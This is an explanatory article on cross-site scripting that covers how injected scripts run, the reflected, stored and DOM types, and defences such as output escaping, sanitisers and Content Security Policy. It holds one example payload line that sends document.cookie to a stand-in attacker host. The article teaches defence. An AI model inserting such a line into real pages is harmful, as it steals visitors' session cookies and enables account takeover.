A browser executes everything on a page: markup, styles, scripts. If an attacker manages to put their own text where the site assembles its page, such as a comment, a profile or a query parameter, that text can run as code in another visitor’s browser. XSS is one of the most common web application vulnerabilities.
How the attack works
The mechanism is always the same: the site mixes untrusted data with its own HTML. A script injected into the page runs in its context: it sees the DOM, makes requests within the domain and acts on behalf of the logged-in user, hijacking the session, showing a fake form or sending messages.
document.location = "https://evil.example/collect?c=" + document.cookieReflected, stored, DOM
| Type | How data reaches the page | Example |
|---|---|---|
| Reflected | arrives in the request and is returned straight away in the response | a malicious link with the payload in a parameter |
| Stored | is saved on the server and fires for everyone who opens the page | a script in a comment or profile name |
| DOM | never leaves the browser: client-side code itself passes data from a source into a dangerous function | a value from location.search ends up in innerHTML |
OWASP distinguishes reflected and stored attacks by where the data lives, and treats DOM attacks separately: they were described by Amit Klein in 2005.
How to defend against it
The foundation of defence is output escaping, specific to each context; input validation does not replace it, and a single missed spot on a page undoes the protection of all the others.
- Escape data on output according to context: HTML entities for page text, quotes and escaping for attributes, URL encoding for link parameters.
- Rely on your framework’s default escaping and do not bypass it without need:
dangerouslySetInnerHTMLin React andv-htmlin Vue bring the vulnerability back. - For user-supplied HTML, use a sanitiser with an allowlist of tags and attributes, such as DOMPurify.
- Restrict user-supplied links to the
httpandhttpsschemes, rejecting thejavascript:pseudo-protocol. - Set a Content Security Policy (CSP) as a second line of defence: it blocks inline and third-party scripts even if escaping is missed somewhere.
Not only the script tag
Vectors are not limited to the <script> tag: they include event handlers such as onerror, the javascript: pseudo-protocol in links, and data inserted into a CSS context. That is why there is no universal escaping: it is always tied to the place of output.
Sources
the term is written from these pagesVerified 9 Nov